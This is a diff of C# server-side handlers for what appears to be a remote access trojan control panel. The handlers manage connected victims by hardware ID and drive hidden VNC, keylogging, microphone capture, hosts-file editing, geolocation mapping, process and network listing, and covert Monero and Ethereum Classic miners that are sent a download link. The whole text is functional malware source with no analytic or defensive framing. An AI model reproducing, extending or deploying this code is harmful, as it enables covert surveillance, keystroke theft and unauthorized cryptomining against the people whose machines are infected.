form.Text = $"HVNC [{client.Hwid}] Fps[{form.FPS}] Data[{Methods.BytesToString(((byte[])objects[2]).Length)}] Screen[{form.screen.Width}x{form.screen.Height}]";
|
||||
form.FPS = 0;
|
||||
form.sw = Stopwatch.StartNew();
|
||||
}
|
||||
form.pictureBox1.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.pictureBox1.Image = bitmap;
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormHVNC form2 = (FormHVNC)Application.OpenForms["HVNC:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.client = client;
|
||||
form2.screen = new Size((int)objects[3], (int)objects[4]);
|
||||
form2.Text = "HVNC [" + (string)objects[2] + "]";
|
||||
form2.materialSwitch1.Enabled = true;
|
||||
form2.numericUpDown2.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerHostsFile
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormHostsFile form3 = (FormHostsFile)Application.OpenForms["HostsFile:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Hosts File Edit [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.richTextBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormHostsFile form2 = (FormHostsFile)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
RichTextBox richTextBox = form2.richTextBox1;
|
||||
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Get":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormHostsFile form = (FormHostsFile)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.richTextBox1.Text = (string)objects[2];
|
||||
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
|
||||
form.richTextBox1.ScrollToCaret();
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerKeyLogger
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormKeyLogger form3 = (FormKeyLogger)Application.OpenForms["KeyLogger:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "KeyLogger [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.richTextBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormKeyLogger form2 = (FormKeyLogger)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
RichTextBox richTextBox = form2.richTextBox1;
|
||||
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Log":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormKeyLogger form = (FormKeyLogger)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.richTextBox1.Text += (string)objects[2];
|
||||
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
|
||||
form.richTextBox1.ScrollToCaret();
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerKeyLoggerPanel
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormKeyLoggerPanel form3 = (FormKeyLoggerPanel)Application.OpenForms["KeyLoggerPanel:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "KeyLogger Panel [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.richTextBox1.Enabled = true;
|
||||
form3.dataGridView3.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "List":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormKeyLoggerPanel form2 = (FormKeyLoggerPanel)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.dataGridView3.Rows.Clear();
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow
|
||||
{
|
||||
Cells = { (DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
} }
|
||||
};
|
||||
form2.dataGridView3.Rows.Add(dataGridViewRow);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Log":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormKeyLoggerPanel form = (FormKeyLoggerPanel)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.richTextBox1.Text = (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.Windows.Forms;
|
||||
using GMap.NET;
|
||||
using GMap.NET.WindowsForms;
|
||||
using GMap.NET.WindowsForms.Markers;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerMap
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
FormMap form = (FormMap)Application.OpenForms["Map:" + (string)objects[1]];
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
client.Tag = form;
|
||||
client.Hwid = (string)objects[1];
|
||||
PointLatLng point = new PointLatLng((double)objects[2], (double)objects[3]);
|
||||
GMapMarker gMapMarker = new GMarkerGoogle(point, GMarkerGoogleType.green_small);
|
||||
gMapMarker.Position = point;
|
||||
GMapOverlay markers = new GMapOverlay("MyHome");
|
||||
markers.Markers.Add(gMapMarker);
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.Text = "Map [" + (string)objects[1] + "] [lat: " + (double)objects[2] + " lng: " + (double)objects[3] + "]";
|
||||
form.client = client;
|
||||
form.gMapControl1.Enabled = true;
|
||||
form.gMapControl1.Overlays.Add(markers);
|
||||
form.gMapControl1.Position = point;
|
||||
form.gMapControl1.ShowCenter = false;
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using NAudio.Wave;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerMicrophone
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (text == "Recovery")
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((FormMicrophone)client.Tag).Buffer((byte[])objects[2]);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
FormMicrophone form = (FormMicrophone)Application.OpenForms["Microphone:" + (string)objects[2]];
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
if (objects.Length > 3)
|
||||
{
|
||||
Console.WriteLine((string)objects[3]);
|
||||
form.client1 = client;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
string[] array = ((string)objects[3]).Split(',');
|
||||
foreach (string item in array)
|
||||
{
|
||||
form.rjComboBox1.Items.Add(item);
|
||||
}
|
||||
form.rjComboBox1.SelectedIndex = 0;
|
||||
form.Text = "Microphone [" + (string)objects[2] + "]";
|
||||
form.groupBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form;
|
||||
client.Hwid = (string)objects[2];
|
||||
return;
|
||||
}
|
||||
form.client2 = client;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
for (int j = 0; j < WaveIn.DeviceCount; j++)
|
||||
{
|
||||
form.rjComboBox2.Items.Add(WaveIn.GetCapabilities(j).ProductName);
|
||||
}
|
||||
form.rjComboBox2.SelectedIndex = 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
form.Text = "Microphone [" + (string)objects[2] + "]";
|
||||
form.groupBox2.Enabled = true;
|
||||
});
|
||||
client.Tag = form;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerMinerEtc
|
||||
{
|
||||
public static void Read(Clients clients, object[] array)
|
||||
{
|
||||
switch ((string)array[1])
|
||||
{
|
||||
case "Connect":
|
||||
if (Program.form.MinerEtc.work)
|
||||
{
|
||||
clients.Hwid = (string)array[2];
|
||||
DataGridViewRow Item = new DataGridViewRow();
|
||||
Item.Tag = clients;
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = clients.IP
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = clients.Hwid
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "dont mining"
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)array[3]
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)array[4]
|
||||
});
|
||||
clients.Tag = Item;
|
||||
Program.form.MinerEtc.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.MinerEtc.GridClients.Rows.Add(Item);
|
||||
if (Program.form.MinerEtc.materialSwitch7.Checked)
|
||||
{
|
||||
clients.Send(Program.form.MinerEtc.Args());
|
||||
}
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
break;
|
||||
case "Status":
|
||||
if (clients.Tag == null)
|
||||
{
|
||||
clients.Disconnect();
|
||||
break;
|
||||
}
|
||||
Program.form.MinerEtc.GridClients.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
((DataGridViewRow)clients.Tag).Cells[2].Value = (string)array[2];
|
||||
});
|
||||
break;
|
||||
case "GetLink":
|
||||
clients.Send(new object[2]
|
||||
{
|
||||
"Link",
|
||||
Program.form.settings.linkMiner
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerMinerXmr
|
||||
{
|
||||
public static void Read(Clients clients, object[] array)
|
||||
{
|
||||
switch ((string)array[1])
|
||||
{
|
||||
case "Connect":
|
||||
if (Program.form.MinerXMR.work)
|
||||
{
|
||||
clients.Hwid = (string)array[2];
|
||||
DataGridViewRow Item = new DataGridViewRow();
|
||||
Item.Tag = clients;
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = clients.IP
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = clients.Hwid
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "dont mining"
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)array[3]
|
||||
});
|
||||
Item.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)array[4]
|
||||
});
|
||||
clients.Tag = Item;
|
||||
Program.form.MinerXMR.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.MinerXMR.GridClients.Rows.Add(Item);
|
||||
if (Program.form.MinerXMR.materialSwitch7.Checked)
|
||||
{
|
||||
clients.Send(Program.form.MinerXMR.Args());
|
||||
}
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
break;
|
||||
case "Status":
|
||||
if (clients.Tag == null)
|
||||
{
|
||||
clients.Disconnect();
|
||||
break;
|
||||
}
|
||||
Program.form.MinerXMR.GridClients.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
((DataGridViewRow)clients.Tag).Cells[2].Value = (string)array[2];
|
||||
});
|
||||
break;
|
||||
case "GetLink":
|
||||
// Authorization check: Only allow if client is properly identified (e.g., HWID is set)
|
||||
if (string.IsNullOrEmpty(clients.Hwid))
|
||||
{
|
||||
clients.Disconnect(); // Disconnect unauthorized client
|
||||
return;
|
||||
}
|
||||
clients.Send(new object[2]
|
||||
{
|
||||
"Link",
|
||||
Program.form.settings.linkMiner
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,156 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerNetstat
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormNetstat form3 = (FormNetstat)Application.OpenForms["Netstat:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Netstat [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.materialLabel1.Enabled = true;
|
||||
form3.dataGridView2.Enabled = true;
|
||||
form3.materialLabel1.Text = "Succues Connect";
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormNetstat form2 = (FormNetstat)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "ListTcp":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormNetstat form4 = (FormNetstat)client.Tag;
|
||||
form4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form4.dataGridView2.Rows.Clear();
|
||||
form4.materialLabel1.Text = "Succues list Tcp";
|
||||
int num2 = 2;
|
||||
while (num2 < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num2++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (int)objects[num2++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "TCP"
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num2++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num2++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num2++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num2++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form4.dataGridView2.Rows.Add(dataGridViewRow2);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "ListUdp":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormNetstat form = (FormNetstat)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Succues list Udp";
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (int)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "UDP"
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = ""
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = ""
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form.dataGridView2.Rows.Add(dataGridViewRow);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerNotepad
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Error"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
FormNotepad form = (FormNotepad)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
RichTextBox richTextBox = form.richTextBox1;
|
||||
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormNotepad form2 = (FormNotepad)Application.OpenForms["Notepad:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "Notepad [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.richTextBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerPerformance
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Response"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
FormPerformance form = (FormPerformance)client.Tag;
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.label3.Text = "System Time: " + (int)objects[2] / 60 + " Minutes";
|
||||
form.circularProgressBar2.Text = (int)objects[3] + " %";
|
||||
form.circularProgressBar2.Value = (int)objects[3];
|
||||
form.circularProgressBar1.Text = (int)objects[4] + " %";
|
||||
form.circularProgressBar1.Value = (int)objects[4];
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormPerformance form2 = (FormPerformance)Application.OpenForms["Performance:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "Performance [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.label1.Text += (string)objects[3];
|
||||
Label label = form2.label4;
|
||||
label.Text = label.Text + (string)objects[4] + " Mhz";
|
||||
form2.label6.Text += (string)objects[5];
|
||||
form2.label7.Text += (string)objects[6];
|
||||
form2.label2.Text += (string)objects[7];
|
||||
Label label2 = form2.label5;
|
||||
label2.Text = label2.Text + (string)objects[8] + " Mhz";
|
||||
form2.label3.Text = "System Time: " + (int)objects[9] / 60 + " Minutes";
|
||||
form2.circularProgressBar2.Text = (int)objects[10] + " %";
|
||||
form2.circularProgressBar2.Value = (int)objects[10];
|
||||
form2.circularProgressBar1.Text = (int)objects[11] + " %";
|
||||
form2.circularProgressBar1.Value = (int)objects[11];
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerPing
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
client.lastPing.Last();
|
||||
client.Send(new object[1] { "Pong" });
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerPong
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
client.lastPing.Last();
|
||||
DataGridViewRow dataGridViewRow = (DataGridViewRow)client.Tag;
|
||||
dataGridViewRow.Cells[15].Value = (int)objects[1];
|
||||
if (objects.Length <= 2)
|
||||
{
|
||||
return;
|
||||
}
|
||||
dataGridViewRow.Cells[16].Value = (string)objects[2];
|
||||
using MemoryStream stream = new MemoryStream((byte[])objects[3]);
|
||||
dataGridViewRow.Cells[0].Value = new Bitmap(stream);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using System.Collections;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerProcess
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormProcess form3 = (FormProcess)Application.OpenForms["Process:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Process [" + (string)objects[2] + "] Process [0]";
|
||||
form3.materialLabel1.Text = "Succues Connect";
|
||||
form3.client = client;
|
||||
form3.dataGridView2.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "DeadProcess":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormProcess form2 = (FormProcess)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Text = "Dead Process pid: " + (int)objects[2];
|
||||
foreach (DataGridViewRow item in (IEnumerable)form2.dataGridView2.Rows)
|
||||
{
|
||||
if ((int)item.Cells[1].Value == (int)objects[2])
|
||||
{
|
||||
form2.dataGridView2.Rows.Remove(item);
|
||||
break;
|
||||
}
|
||||
}
|
||||
form2.Text = $"Process [{client.Hwid}] Process [{form2.dataGridView2.Rows.Count}]";
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "NewProcess":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormProcess form4 = (FormProcess)client.Tag;
|
||||
form4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form4.materialLabel1.Text = "New Process pid: " + (int)objects[4];
|
||||
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[2]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (int)objects[4]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[3]
|
||||
}
|
||||
}
|
||||
};
|
||||
form4.dataGridView2.Rows.Add(dataGridViewRow2);
|
||||
form4.Text = $"Process [{client.Hwid}] Process [{form4.dataGridView2.Rows.Count}]";
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormProcess form = (FormProcess)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerPrograms
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormPrograms form3 = (FormPrograms)Application.OpenForms["Programs:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Programs [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.materialLabel1.Enabled = true;
|
||||
form3.dataGridView2.Enabled = true;
|
||||
form3.materialLabel1.Text = "Succues Connect";
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormNetstat form2 = (FormNetstat)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "List":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormPrograms form = (FormPrograms)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.dataGridView2.Rows.Clear();
|
||||
form.materialLabel1.Text = "Succues list Programs";
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
